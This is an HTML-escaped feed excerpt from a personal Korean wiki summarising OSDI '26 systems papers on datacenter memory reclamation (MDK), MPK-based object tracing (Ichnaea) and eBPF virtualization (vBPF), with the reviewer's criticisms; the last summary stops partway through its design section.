이 논문은 [[데이터 센터]]의 proactive [[Memory reclamation]]을 전통적 [[Page replacement]]와 다른 최적화 문제로 재정의한다. 핵심 결과물은 &#039;&#039;&#039;Memory Designer&#039;s Kit (MDK, 메모리 설계 도구 모음)&#039;&#039;&#039;로, [[Service Level Objective|Service Level Objective (SLO, 서비스 수준 목표)]]를 지키면서 평균 메모리 절감량을 최대화하는 정책을 설계·평가하는 오프라인 도구다.&lt;br /&gt;
&lt;br /&gt;
핵심 아이디어는 기존에는 Memory cache miss rate를 최소화 하는 문제로 Memory reclamation을 바라보았지만, 데이터 센터에서는 SLO를 지키면서 평균 메모리 절감량을 최대화 하는 방향으로 Memory reclamation을 설계해야 한다는 것이다.&lt;br /&gt;
&lt;br /&gt;
논문은 크게 Datacenter에서의 Memory reclamation을 어떻게 설계해야 하는지 고민하는 부분과, 새로운 Memory reclamation policy를 설계하고 구현할 수 있는 도구인 MDK의 설계 파트로 나뉜다. 저장들은 제안하는 MDK는 논문에서 제시하는 메모리 Reclamation정책만 지원하는 것이 아니라 General하게 데이터 센터의 메모리 Reclamation정책 설계에 사용할 수 있다고 주장한다.&lt;br /&gt;
&lt;br /&gt;
논문의 핵심 내용은 다음 표로 정리할 수 있다.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! 구분&lt;br /&gt;
! Page Replacement (Related Works)&lt;br /&gt;
! 데이터 센터 Memory Reclamation (MDK)&lt;br /&gt;
|-&lt;br /&gt;
! 목표와 제약&lt;br /&gt;
| 고정된 cache 크기에서 전체 실행의 miss ratio 최소화&lt;br /&gt;
| SLO 한도를 지키면서 평균 메모리 절감량 최대화&lt;br /&gt;
|-&lt;br /&gt;
! 동작 시점&lt;br /&gt;
| 메모리 pressure가 발생한 뒤&lt;br /&gt;
| 새로운 Job을 배치할 여유를 만들기 전&lt;br /&gt;
|-&lt;br /&gt;
! 대표 지표&lt;br /&gt;
| 전체 실행에 걸친 cache miss ratio&lt;br /&gt;
| time window별 promotion 비율, 자원 대기로 손실된 시간의 비율, 느린 Secondary-tier 스토리지 접근 비용&lt;br /&gt;
|-&lt;br /&gt;
! 설계 도구&lt;br /&gt;
| Optimal page replacement (OPT)와 [[Miss Ratio Curve|Miss Ratio Curve (MRC, miss 비율 곡선)]]&lt;br /&gt;
| Optimal Performance Proxy (OPP, 최적 성능 proxy)와 [[Memory Performance Curve|Memory Performance Curve (MPC, 메모리 성능 곡선)]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
이 논문이 주로 사용하는 &#039;&#039;&#039;promotion rate는 한 time window에서 발생한 hot page fault (즉 swap-out된 페이지에서 발생한 page fault) 수를 그 window에서 접근한 unique page 수로 나눈 값이다.&#039;&#039;&#039; 저자들은 이를 trace에서 계산 가능한 SLO proxy로 사용하고, 시간에 따른 평균 메모리 절감량을 최대화한다.&lt;br /&gt;
&lt;br /&gt;
== Motivation ==&lt;br /&gt;
&lt;br /&gt;
[[DRAM|Dynamic Random-Access Memory (DRAM)]] 비용 때문에 서버당 더 많은 job을 수용하는 것은 Total Cost of Ownership (TCO, 총소유비용)과 직결된다. [[g-swap]]과 Transparent Memory Offloading (TMO) 같은 시스템은 cold page를 compressed memory, Solid-State Drive (SSD), 또는 [[Compute Express Link|Compute Express Link (CXL)]] 기반의 저렴한 tier로 미리 내보낸다. 이때 절감 공간은 새 job을 배치할 만큼 오래 유지되어야 하고 application SLO도 지켜야 한다.&lt;br /&gt;
&lt;br /&gt;
기존의 Cache miss rate이나 Page fault rate을 최적화 하는 방식은 데이터 센터에서는 다음의 이유로 단점이 있다.&lt;br /&gt;
&lt;br /&gt;
# Cache miss rate: 모든 Page access중에서 어느정도가 Cache miss인지를 확인해야 하는데 데이터 센터에서 성능하락 없이 이런 기능을 제공하기가 힘들다.&lt;br /&gt;
# Page fault rate: TMO에서 보듯, page fault는 hardware heterogeneity를 반영하지 못한다. &lt;br /&gt;
&lt;br /&gt;
== Main Idea ==&lt;br /&gt;
&lt;br /&gt;
핵심 통찰은 miss의 총량이 아니라 &#039;&#039;&#039;미래의 각 time window가 허용하는 promotion budget&#039;&#039;&#039;을 직접 관리해야 한다는 것이다. 같은 수의 page fault라도 한 window에 집중되면 SLO를 위반한다. 반대로 fault를 여러 window에 분산하면서 page를 가능한 한 일찍 reclaim하면, 성능 한도를 지키면서 메모리 절감 시간을 늘릴 수 있다.&lt;br /&gt;
&lt;br /&gt;
MDK는 이를 MPC, OPP, 두 가지 eviction property, efficient MPC generator로 구현한다. 이 조합은 달성 가능한 upper bound를 보여 주고, 수많은 parameter를 각각 simulation하지 않고 policy의 성능–메모리 tradeoff를 계산한다.&lt;br /&gt;
&lt;br /&gt;
== Design ==&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Memory Performance Curve (MPC, 메모리 성능 곡선):&#039;&#039;&#039; x축은 target promotion rate, y축은 평균 메모리 절감량이다. 동일한 성능 한도에서 policy를 비교하고 원하는 절감량에 필요한 성능 비용을 찾는다. 가능한 지점이 연속적이지 않으므로 선이 아닌 점으로 표시한다.&lt;br /&gt;
# &#039;&#039;&#039;Optimal Performance Proxy (OPP, 최적 성능 proxy):&#039;&#039;&#039; 첫 pass에서 window별 unique page 수를 센다. 두 번째 pass에서는 page의 다음 접근 window를 미리 보고, 그 page fault를 추가해도 해당 window의 promotion-rate 한도를 넘지 않을 때 현재 접근 직후 reclaim한다. Page를 가장 일찍 내보내 절감 시간을 최대화하지만, 미래 정보가 필요한 오프라인 oracle이다.&lt;br /&gt;
# &#039;&#039;&#039;Eviction properties와 빠른 MPC 생성:&#039;&#039;&#039;&lt;br /&gt;
#* &#039;&#039;&#039;Eviction decisions property&#039;&#039;&#039;는 aggressive한 setting이 덜 aggressive한 setting의 모든 eviction을 포함한다는 뜻이다. &#039;&#039;&#039;Eviction times property&#039;&#039;&#039;는 그 eviction 시각까지 같다는 더 강한 조건이다.&lt;br /&gt;
#* 이 포함 관계를 이용하면 eviction을 처음 유발하는 critical parameter만 계산한 뒤 나머지 setting으로 누적할 수 있다. Single-parameter policy는 trace 길이에 대해 linear time에 처리하며, two-parameter policy에는 별도 계산법이 필요하다.&lt;br /&gt;
# &#039;&#039;&#039;OPP에서 유도한 practical policies:&#039;&#039;&#039;&lt;br /&gt;
#* &#039;&#039;&#039;AGE (age-based policy):&#039;&#039;&#039; 마지막 접근 후 일정 시간이 지나야 reclaim하는 기존 방식이다. 안전하지만 늦게 내보내므로 절감 기회를 놓친다.&lt;br /&gt;
#* &#039;&#039;&#039;Prior Age with Wait (PAW, 과거 접근 간격을 이용하되 잠시 기다리는 정책):&#039;&#039;&#039; 직전 두 접근의 간격이 threshold보다 크고 마지막 접근 후 1분이 지나면 reclaim한다. 반복 pattern에는 유리하지만 과거가 미래를 잘 예측하지 못하면 AGE보다 나쁘다.&lt;br /&gt;
#* &#039;&#039;&#039;Prior Age and Current Elapsed (PACE, 과거 접근 간격과 현재 idle 시간을 결합한 정책):&#039;&#039;&#039; 과거 접근 간격이 길면 즉시 reclaim하고, 그렇지 않으면 AGE처럼 일정 idle 시간을 기다린다. AGE로 되돌아갈 수 있지만 두 parameter를 workload에 맞게 정해야 한다.&lt;br /&gt;
#* &#039;&#039;&#039;Learned OPP (L-OPP, 학습형 OPP):&#039;&#039;&#039; OPP의 결정을 정답으로 삼아 미래 정보 없이 reclaim 여부를 예측한다. Model precision이 낮으면 promotion-rate 제약을 지키지 못한다.&lt;br /&gt;
&lt;br /&gt;
== Result ==&lt;br /&gt;
&lt;br /&gt;
* OPP는 모든 workload와 promotion rate에서 가장 높은 평균 메모리 절감량을 보였다. Cassandra에서는 promotion rate 1% 미만에서 약 40%를 절감한 반면, VMIN은 10%까지 허용해도 같은 절감량에 도달하지 못했다. 이는 window budget을 직접 고려하는 결정의 안전 마진을 보여준다.&lt;br /&gt;
* PAW는 access pattern이 예측 가능한 GraphX, NGINX, TaoBench에서 AGE보다 최대 10% 더 많은 메모리를 절감했지만, Memcached와 FeedSim처럼 과거 pattern이 약한 workload에서는 AGE가 크게 앞섰다.&lt;br /&gt;
* PACE의 best configuration은 대부분의 workload에서 AGE보다 1–4% 더 절감했고 Cassandra와 GraphX에서는 8–10% 개선했다. 단, 같은 trace로 parameter를 고르고 평가한 maximum-potential 결과이다.&lt;br /&gt;
* L-OPP는 DjangoBench와 MediaWiki에서 PAW보다 나았지만, TaoBench와 FeedSim에서는 낮은 예측 정밀도 때문에 promotion rate가 높아졌다. 학습 정책이 성능 제약을 자동으로 지키는 것은 아니다.&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
연구의 핵심을 한 문장으로 정리한다면 &amp;quot;&#039;&#039;&#039;데이터 센터에서의 Memory Reclamation은 전통적인 시스템의 그것과는 다르다. SLO를 맞춰주는 선에서 메모리 사용량을 최소화하는 것이다.&#039;&#039;&#039;&amp;quot; 로 정리할 수 있을 것 같다. 이 핵심 문장이 인상 깊었으며, Optimization이라는 본질적인 시스템의 문제에서 더 크게 메모리 정책을 바라보게 하고, 각 Component설계를 어떻게 할 수 있을지 제시하였다는 점에서 흥미로운 논문이었던 것 같다.&lt;br /&gt;
&lt;br /&gt;
[[index.php?title=분류:USENIX OSDI]]&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=Memory_Protection_Keys&amp;diff=7165</id>
		<title>Memory Protection Keys</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=Memory_Protection_Keys&amp;diff=7165"/>
		<updated>2026-09-02T10:30:02Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: 새 문서: #념겨주기 Intel Memory Protection Key&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#념겨주기 [[Intel Memory Protection Key]]&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=Ichnaea:_A_Framework_for_Precise_Tracking_of_Memory_Objects&amp;diff=7164</id>
		<title>Ichnaea: A Framework for Precise Tracking of Memory Objects</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=Ichnaea:_A_Framework_for_Precise_Tracking_of_Memory_Objects&amp;diff=7164"/>
		<updated>2026-09-02T10:05:00Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Paper&lt;br /&gt;
|title=Ichnaea: A Framework for Precise Tracking of Memory Objects&lt;br /&gt;
|author=Samad Haque, Sibin Mohan, Aaron Paulos, Partha Pal&lt;br /&gt;
|conference=20th USENIX Symposium on Operating Systems Design and Implementation (OSDI &#039;26)&lt;br /&gt;
|year=2026&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
이 논문은 C/C++ 프로그램에서 관심 있는 memory object의 read/write를 정확하고 낮은 비용으로 추적하기 위해 [[Memory Protection Keys]](MPK)를 사용하는 framework Ichnaea를 제안한다.&lt;br /&gt;
&lt;br /&gt;
== Motivation ==&lt;br /&gt;
복잡한 C/C++ 프로그램에서는 pointer와 간접 control flow 때문에 특정 object를 누가 언제 변경했는지 찾기 어렵다. [[Static analysis]]는 접근 지점을 놓칠 수 있고, [[Intel Pin]] 같은 dynamic instrumentation은 거의 모든 load/store를 검사해 매우 느리다. 기존 &amp;lt;code&amp;gt;mprotect&amp;lt;/code&amp;gt; 기반 방식은 page permission이 모든 thread에 적용되므로 multi-thread 환경에서 access를 놓칠 수도 있다. 따라서 모든 memory access를 검사하지 않고, 개발자가 선택한 object가 실제로 접근될 때만 동작하는 tracer가 필요하다.&lt;br /&gt;
&lt;br /&gt;
== Importance ==&lt;br /&gt;
Ichnaea는 object tracing의 비용을 전체 instruction 수가 아니라 관심 object의 실제 access 수에 비례하게 만든다. 또한 기존 page-protection tracing에서 trace loss를 만드는 global permission, syscall window, atomic access와 [[False sharing]] 문제를 정리하고, MPK의 thread-local permission으로 이를 줄이는 방법을 보여 준다.&lt;br /&gt;
&lt;br /&gt;
== Main Idea ==&lt;br /&gt;
ObjOfInterest가 있는 page의 접근을 평소에는 막아 두고, 접근 시 발생한 &amp;lt;code&amp;gt;SIGSEGV&amp;lt;/code&amp;gt;를 tracing event로 사용한다. Handler는 현재 thread에서만 page를 잠시 열고 faulting instruction을 실행·기록한 뒤 다시 접근을 막는다. 다른 thread의 permission은 계속 잠겨 있으므로 concurrent access도 각각 포착할 수 있다.&lt;br /&gt;
&lt;br /&gt;
이 과정에서 thread ID, instruction pointer, call stack, timestamp, access type과 write 전후 값을 함께 기록한다.&lt;br /&gt;
&lt;br /&gt;
== Design ==&lt;br /&gt;
# &#039;&#039;&#039;Object 등록&#039;&#039;&#039;: 개발자가 API와 간단한 annotation으로 추적할 global/heap object를 지정하면, runtime library가 backing page에 MPK를 설정한다.&lt;br /&gt;
# &#039;&#039;&#039;Fault 기반 tracing&#039;&#039;&#039;: Object 접근에서 발생한 fault를 handler가 받아 현재 thread의 permission만 열고, instruction을 emulation한 후 access context를 기록한다.&lt;br /&gt;
# &#039;&#039;&#039;Coverage 확장&#039;&#039;&#039;: Shared library의 접근은 같은 fault 경로로 잡는다. Heap object는 별도 page에 배치하며, libc syscall wrapper를 이용해 일부 kernel write도 추적한다. 실행이 끝나면 결과를 JSON으로 저장한다.&lt;br /&gt;
&lt;br /&gt;
== Result ==&lt;br /&gt;
&#039;&#039;&#039;SPEC CPU2017&#039;&#039;&#039;에서 Ichnaea는 대부분 native의 1–3배 runtime으로 동작했고, Intel Pin tracer보다 12–60배, &amp;lt;code&amp;gt;mprotect&amp;lt;/code&amp;gt; tracer보다 1.3–7배 &lt;br /&gt;
&lt;br /&gt;
== Contribution ==&lt;br /&gt;
&lt;br /&gt;
# 기존 object tracer가 multi-thread 환경에서 access를 놓치는 원인을 정리하였다.&lt;br /&gt;
# MPK와 instruction emulation을 결합한 selective object-tracing framework를 설계하였다.&lt;br /&gt;
# SPEC CPU2017, PostgreSQL과 fuzzing 실험으로 기존 instrumentation 방식보다 낮은 비용을 보였다.&lt;br /&gt;
&lt;br /&gt;
== Criticisms ==&lt;br /&gt;
&lt;br /&gt;
* “Complete tracing”은 userspace 중심의 주장이다. 일부 syscall과 kernel write는 지원하지만 kernel read 전체를 추적하지 못하며 stack object도 지원하지 않는다.&lt;br /&gt;
* 모든 object가 아니라 미리 고른 소수의 object에 적합하다. Hot object는 access마다 약 9 µs의 fault 비용을 내고, heap object를 page별로 분리하면 10,000개 실험에서 memory 사용량이 19배 증가했다.&lt;br /&gt;
* Emulation하지 못하는 instruction의 slow path는 shared code에 breakpoint를 삽입하므로 multi-thread execution을 방해할 가능성이 있다. 평가도 하나의 Intel MPK 시스템과 synthetic fuzzing workload에 집중되어 있다.&lt;br /&gt;
&lt;br /&gt;
== [[Conclusion]] ==&lt;br /&gt;
Ichnaea의 핵심은 &#039;&#039;&#039;소수의 중요한 object만 선택하여, 실제 접근이 발생할 때 MPK fault로 추적한다&#039;&#039;&#039;는 것이다. 이 방식은 특정 Object를 추적하기 위해서, Intel Pin보다 크게 낮은 비용으로 풍부한 access context를 제공하지만, kernel·stack·all-object tracing을 대체하는 범용 도구는 아니다.&lt;br /&gt;
&lt;br /&gt;
=== Major Concenrs ===&lt;br /&gt;
# 제시한 방법에서 Evaluation을 할때, 특정 소수의 Selective한 오브젝트를 대상으로 하였다. 만약 Object가 Allocation보다 Instruction에 더 Senstive한 Object라면 본 논문에서 제시한 결과보다 결과가 안 좋게 보일 수도 있다.&lt;br /&gt;
# Still성능이 매우 좋지 못하다. Runtime patch만으로 object pointer관계를 추적하는 더 좋은 방법은 없을지 궁금하다.&lt;br /&gt;
# 또한 결국에는 Object annotation을 static time에 해주어야 한단는 점에서, Compiler 단계를 거쳐야 한다. 그렇다면 Compile time에 annotation을 삽입하는 방식과 어떤 차이가 있을지 궁금하다. 이미 Security field에서는 모든 오브젝트의 Control flow를 추적하지만 overhead는 본 논문과 비슷한(!) Compiler-time code injection방식이 소개되어 있다. &lt;br /&gt;
# Locality가 중요한 Object, e.g., stack, 으로 확장하기 어렵다. 한 Object에 대한 Fault를 위해서 나머지 Object에도 Fault를 일으킬 가능성이 있기 떄문이다. &lt;br /&gt;
&lt;br /&gt;
[[분류: USENIX OSDI]]&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=Ichnaea:_A_Framework_for_Precise_Tracking_of_Memory_Objects&amp;diff=7163</id>
		<title>Ichnaea: A Framework for Precise Tracking of Memory Objects</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=Ichnaea:_A_Framework_for_Precise_Tracking_of_Memory_Objects&amp;diff=7163"/>
		<updated>2026-09-02T09:53:14Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Paper&lt;br /&gt;
|title=Ichnaea: A Framework for Precise Tracking of Memory Objects&lt;br /&gt;
|author=Samad Haque, Sibin Mohan, Aaron Paulos, Partha Pal&lt;br /&gt;
|conference=20th USENIX Symposium on Operating Systems Design and Implementation (OSDI &#039;26)&lt;br /&gt;
|year=2026&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
이 논문은 C/C++ 프로그램에서 관심 있는 memory object의 read/write를 정확하고 낮은 비용으로 추적하기 위해 [[Memory Protection Keys]](MPK)를 사용하는 framework Ichnaea를 제안한다.&lt;br /&gt;
&lt;br /&gt;
== Motivation ==&lt;br /&gt;
복잡한 C/C++ 프로그램에서는 pointer와 간접 control flow 때문에 특정 object를 누가 언제 변경했는지 찾기 어렵다. [[Static analysis]]는 접근 지점을 놓칠 수 있고, [[Intel Pin]] 같은 dynamic instrumentation은 거의 모든 load/store를 검사해 매우 느리다. 기존 &amp;lt;code&amp;gt;mprotect&amp;lt;/code&amp;gt; 기반 방식은 page permission이 모든 thread에 적용되므로 multi-thread 환경에서 access를 놓칠 수도 있다. 따라서 모든 memory access를 검사하지 않고, 개발자가 선택한 object가 실제로 접근될 때만 동작하는 tracer가 필요하다.&lt;br /&gt;
&lt;br /&gt;
== Importance ==&lt;br /&gt;
Ichnaea는 object tracing의 비용을 전체 instruction 수가 아니라 관심 object의 실제 access 수에 비례하게 만든다. 또한 기존 page-protection tracing에서 trace loss를 만드는 global permission, syscall window, atomic access와 [[False sharing]] 문제를 정리하고, MPK의 thread-local permission으로 이를 줄이는 방법을 보여 준다.&lt;br /&gt;
&lt;br /&gt;
== Main Idea ==&lt;br /&gt;
ObjOfInterest가 있는 page의 접근을 평소에는 막아 두고, 접근 시 발생한 &amp;lt;code&amp;gt;SIGSEGV&amp;lt;/code&amp;gt;를 tracing event로 사용한다. Handler는 현재 thread에서만 page를 잠시 열고 faulting instruction을 실행·기록한 뒤 다시 접근을 막는다. 다른 thread의 permission은 계속 잠겨 있으므로 concurrent access도 각각 포착할 수 있다.&lt;br /&gt;
&lt;br /&gt;
이 과정에서 thread ID, instruction pointer, call stack, timestamp, access type과 write 전후 값을 함께 기록한다.&lt;br /&gt;
&lt;br /&gt;
== Design ==&lt;br /&gt;
# &#039;&#039;&#039;Object 등록&#039;&#039;&#039;: 개발자가 API와 간단한 annotation으로 추적할 global/heap object를 지정하면, runtime library가 backing page에 MPK를 설정한다.&lt;br /&gt;
# &#039;&#039;&#039;Fault 기반 tracing&#039;&#039;&#039;: Object 접근에서 발생한 fault를 handler가 받아 현재 thread의 permission만 열고, instruction을 emulation한 후 access context를 기록한다.&lt;br /&gt;
# &#039;&#039;&#039;Coverage 확장&#039;&#039;&#039;: Shared library의 접근은 같은 fault 경로로 잡는다. Heap object는 별도 page에 배치하며, libc syscall wrapper를 이용해 일부 kernel write도 추적한다. 실행이 끝나면 결과를 JSON으로 저장한다.&lt;br /&gt;
&lt;br /&gt;
== Result ==&lt;br /&gt;
&#039;&#039;&#039;SPEC CPU2017&#039;&#039;&#039;에서 Ichnaea는 대부분 native의 1–3배 runtime으로 동작했고, Intel Pin tracer보다 12–60배, &amp;lt;code&amp;gt;mprotect&amp;lt;/code&amp;gt; tracer보다 1.3–7배 &lt;br /&gt;
&lt;br /&gt;
== Contribution ==&lt;br /&gt;
&lt;br /&gt;
# 기존 object tracer가 multi-thread 환경에서 access를 놓치는 원인을 정리하였다.&lt;br /&gt;
# MPK와 instruction emulation을 결합한 selective object-tracing framework를 설계하였다.&lt;br /&gt;
# SPEC CPU2017, PostgreSQL과 fuzzing 실험으로 기존 instrumentation 방식보다 낮은 비용을 보였다.&lt;br /&gt;
&lt;br /&gt;
== Criticisms ==&lt;br /&gt;
&lt;br /&gt;
* “Complete tracing”은 userspace 중심의 주장이다. 일부 syscall과 kernel write는 지원하지만 kernel read 전체를 추적하지 못하며 stack object도 지원하지 않는다.&lt;br /&gt;
* 모든 object가 아니라 미리 고른 소수의 object에 적합하다. Hot object는 access마다 약 9 µs의 fault 비용을 내고, heap object를 page별로 분리하면 10,000개 실험에서 memory 사용량이 19배 증가했다.&lt;br /&gt;
* Emulation하지 못하는 instruction의 slow path는 shared code에 breakpoint를 삽입하므로 multi-thread execution을 방해할 가능성이 있다. 평가도 하나의 Intel MPK 시스템과 synthetic fuzzing workload에 집중되어 있다.&lt;br /&gt;
&lt;br /&gt;
== [[Conclusion]] ==&lt;br /&gt;
Ichnaea의 핵심은 &#039;&#039;&#039;소수의 중요한 object만 선택하여, 실제 접근이 발생할 때 MPK fault로 추적한다&#039;&#039;&#039;는 것이다. 이 방식은 Intel Pin보다 크게 낮은 비용으로 풍부한 access context를 제공하지만, kernel·stack·all-object tracing을 대체하는 범용 도구는 아니다.&lt;br /&gt;
&lt;br /&gt;
=== Major Concenrs ===&lt;br /&gt;
# 제시한 방법에서 Evaluation을 할때, 특정 소수의 Selective한 오브젝트를 대상으로 하였다. 만약 Object가 Allocation보다 Instruction에 더 Senstive한 Object라면 본 논문에서 제시한 결과보다 결과가 안 좋게 보일 수도 있다.&lt;br /&gt;
# Still성능이 매우 좋지 못하다. Runtime patch만으로 object pointer관계를 추적하는 더 좋은 방법은 없을지 궁금하다.&lt;br /&gt;
&lt;br /&gt;
[[분류: USENIX OSDI]]&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=Virtualizing_eBPF_with_Late-Binding&amp;diff=7161</id>
		<title>Virtualizing eBPF with Late-Binding</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=Virtualizing_eBPF_with_Late-Binding&amp;diff=7161"/>
		<updated>2026-09-02T06:23:23Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Paper&lt;br /&gt;
|title=Virtualizing eBPF with Late-Binding&lt;br /&gt;
|author=Jing Zhang, Xiaguannan Song, Dong Du, Yubin Xia, Binyu Zang, Haibo Chen&lt;br /&gt;
|conference=20th USENIX Symposium on Operating Systems Design and Implementation (OSDI &#039;26)&lt;br /&gt;
|year=2026&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
이 논문은 단일 trust domain을 전제로 설계된 [[eBPF]]를 여러 tenant가 공유하면 왜 hook·execution context·kernel state 충돌이 발생하며, physical hook과 logical program의 결합을 실행 시점까지 미루는 &#039;&#039;&#039;late binding&#039;&#039;&#039;으로 이를 어떻게 가상화할 수 있는지를 다루었다.&lt;br /&gt;
&lt;br /&gt;
== Motivation ==&lt;br /&gt;
점점 eBPF를 Process의 Customization을 위해서 사용되는 경우가 많아지고 있다. 그러나 native eBPF의 program은 load/attach 시 단순히 커널의 함수에 Hooking되기 때문에 Per-process context가 아니라 Kernel-context하에서 실행된다.&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Singleton conflict&#039;&#039;&#039;: &amp;lt;code&amp;gt;struct_ops&amp;lt;/code&amp;gt;, 일부 [[Linux Security Modules|LSM]] hook, &amp;lt;code&amp;gt;sched_ext&amp;lt;/code&amp;gt;, eBPF iterator처럼 global callback을 교체하는 hook은 한 program만 수용하므로 tenant별 policy가 공존할 수 없다.&lt;br /&gt;
# &#039;&#039;&#039;Functionality conflict&#039;&#039;&#039;: 같은 hook의 program은 packet header, return value, shared object 같은 execution context를 순차적으로 관찰·변경한다. 각 program이 단독으로는 올바르더라도 조합되면 forwarding loop나 후속 program의 관측 오염이 발생할 수 있다.&lt;br /&gt;
# &#039;&#039;&#039;Performance interference&#039;&#039;&#039;: tenant scope와 무관한 program도 매 event마다 실행된다. 특히 global &amp;lt;code&amp;gt;sys_enter&amp;lt;/code&amp;gt; [[Tracepoint|tracepoint]]에서는 한 tenant의 tracing 비용을 다른 모든 tenant가 부담하며, program 수가 늘수록 비용이 선형 증가한다.&lt;br /&gt;
&lt;br /&gt;
기존 시스템은 다음과 같은 이유로 인해서 Per-process eBPF context에는 적합하지 않다.&lt;br /&gt;
# In-program filtering은 모든 program을 먼저 호출해야 하고 tenant가 filter를 빼는 것을 막지 못한다. &lt;br /&gt;
# [[cgroup]] BPF는 process context에는 유용하지만 [[XDP]] 같은 interrupt-context event와 singleton hook을 포괄하지 못하며 state도 분리하지 않는다. &lt;br /&gt;
# 중앙 orchestrator가 program을 하나의 binary나 &amp;lt;code&amp;gt;tail_call&amp;lt;/code&amp;gt; chain으로 합치면 global policy와 verifier 부담, update latency, API 종속성이 생긴다.&lt;br /&gt;
&lt;br /&gt;
== Main Idea ==&lt;br /&gt;
본 논문은 eBPF hook에서 직접 eBPF프로그램을 실행시키는 것이 아니라 &#039;&#039;&#039;generic interposition point&#039;&#039;&#039;로 바꾸고, event가 발생한 뒤 그 event의 tenant를 식별하여 실행하게 하였다.&lt;br /&gt;
&lt;br /&gt;
각 process는 hierarchical eBPF namespace에 속한다. Event가 발생하면 vBPF Sniffer가 해당 namespace를 찾고, Dispatcher가 namespace에 등록된 program과 관찰 권한이 있는 eBPF program만 선택한다. 이어 state isolation framework가 “global” state access를 tenant-private instance 또는 semantic overlay로 redirect한다. 결과적으로 같은 physical hook을 공유해도 tenant마다 독립적인 eBPF environment가 보인다.&lt;br /&gt;
&lt;br /&gt;
최종적으로, vBPF의 핵심 경로는 다음과 같다.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
physical event → tenant attribution → eBPF namespace&lt;br /&gt;
               → tenant program set + virtual state view → execution&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Challenge ==&lt;br /&gt;
# &#039;&#039;&#039;Interrupt-context attribution&#039;&#039;&#039;: packet arrival이나 I/O completion에는 신뢰할 process context가 없다. Process-context resource creation과 interrupt-time representation 사이를 잇는 stable key와 lifecycle 관리가 필요하다.&lt;br /&gt;
# &#039;&#039;&#039;Scalable dispatch&#039;&#039;&#039;: native hook의 linked list/array를 tenant filter와 함께 순회하면 program 또는 tenant 수에 따라 &amp;lt;math&amp;gt;O(N)&amp;lt;/math&amp;gt; 비용이 발생한다. Critical path에서는 tenant program의 직접 lookup이 필요하다.&lt;br /&gt;
# &#039;&#039;&#039;State isolation의 성능과 유지보수성&#039;&#039;&#039;: page-table switching은 너무 무겁고, kernel state access마다 수작업으로 tenant logic을 넣으면 Linux 변화에 취약하다. 어떤 interface가 shared state를 변경하는지 compile time에 통제하면서, runtime에는 작은 object 단위의 virtual view를 제공해야 한다.&lt;br /&gt;
&lt;br /&gt;
== Design ==&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Hierarchical eBPF namespace와 execution context&#039;&#039;&#039;&lt;br /&gt;
#: vBPF는 cgroup과 독립적인 namespace를 process에 결합하며 &amp;lt;code&amp;gt;clone&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;unshare&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;setns&amp;lt;/code&amp;gt; semantics를 지원한다. Sidecar와 application처럼 resource group은 공유하되 tracing policy는 분리할 수 있고, child-to-root 순서로 program을 실행하여 host namespace가 tenant event를 audit·modify·veto할 수 있다. 이 hierarchy는 tenant isolation과 platform-level visibility를 동시에 보존하지만, parent가 child의 context와 return code에 미치는 우선순위를 policy로 명시해야 한다.&lt;br /&gt;
# &#039;&#039;&#039;vBPF Sniffer: resource-based two-phase attribution&#039;&#039;&#039;&lt;br /&gt;
#: Process context에서 &amp;lt;code&amp;gt;bind()&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;connect()&amp;lt;/code&amp;gt;, I/O submission처럼 resource가 설정될 때 Sniffer가 stable resource key와 namespace의 mapping을 &amp;lt;code&amp;gt;insert&amp;lt;/code&amp;gt;한다. Interrupt context에서는 packet header, &amp;lt;code&amp;gt;bio/request&amp;lt;/code&amp;gt; 등의 reader가 같은 identity를 추출하고 &amp;lt;code&amp;gt;resolve&amp;lt;/code&amp;gt;하여 namespace를 얻는다. Network sniffer는 5-tuple을 connection setup 단계에 따라 정제하고, request sniffer는 split/merge 시 namespace set을 전파하며, task sniffer는 teardown 뒤늦게 발생한 event를 처리한다. 모든 interrupt를 attribution하지 않고 tenant-bearing resource만 추적하며, tenant owner가 없는 platform interrupt는 host namespace에 남긴다.&lt;br /&gt;
# &#039;&#039;&#039;vBPF Dispatcher: virtual hook multiplexer와 hash index&#039;&#039;&#039;&lt;br /&gt;
